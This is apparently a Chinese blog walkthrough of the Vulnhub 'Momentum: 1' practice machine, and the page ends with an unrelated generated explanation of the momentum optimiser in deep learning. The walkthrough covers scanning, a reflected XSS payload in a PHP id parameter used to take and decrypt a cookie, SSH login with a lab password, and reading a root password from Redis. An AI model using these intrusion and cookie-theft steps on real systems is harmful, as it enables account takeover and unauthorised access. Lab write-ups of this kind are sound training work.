Vulnhub: Momentum: 1靶机

kali:192.168.111.111

靶机:192.168.111.154

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.154

查看目标80端口的main.js发现信息

feroxbuster -k -d 1 --url http://192.168.111.154 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap,conf -t 1 -C 404,500

目标opus-details.php?id=存在xss,利用xss获取cookie,再对cookie进行aes解密

http://192.168.111.154/opus-details.php?id=<script>alert(document.cookie)</script>

登录目标ssh,用户名:auxerre,密码:auxerre-alienum##

提权

目标存在redis服务,在redis数据库中找到root的密码

redis-cli
keys *
get rootpass

flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于逃离Saddle Point的方法之一是使用momentum(动量)方法。Momentum方法是一种基于动量思想的优化算法,在深度学习领域中常被使用。 Momentum算法通过引入动量来加速梯度下降的速度,从而更快地逃离Saddle Point(鞍点)的位置。在普通梯度下降的过程中,我们只考虑当前的梯度信息,并直接朝着梯度下降的方向进行更新。而momentum方法则考虑了过去的梯度信息,通过计算过去步骤中梯度的累积平均值来更新参数。 具体而言,momentum方法通过引入动量参数来保留一部分历史步骤的信息,使得在当前步骤中,更新方向不再仅仅依靠当前梯度信息,而是结合了历史步骤中的梯度信息。这种机制有助于克服Saddle Point中平坦区域的问题,并且加速在陡峭区域中的下降。 在Momentum方法中,更新公式如下: v = βv + (1-β)∇J(θ) θ = θ - αv 其中,v是动量参数,它表示历史梯度信息的加权累积平均值;β是一个介于0和1之间的超参数,用于控制历史梯度信息的权重;α是学习率。 Momentum方法的优点在于,它可以加速梯度下降并帮助跳出Saddle Point,尤其在训练深度神经网络时效果较为显著。然而,如果设置的动量参数较大,可能会导致参数在陡峭区域波动较大,进而难以收敛。因此在使用momentum方法时,需要根据实际情况进行调整。 总而言之,Momentum方法通过利用历史梯度信息,可以更快地逃离Saddle Point,加速梯度下降的过程,提高优化算法的效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值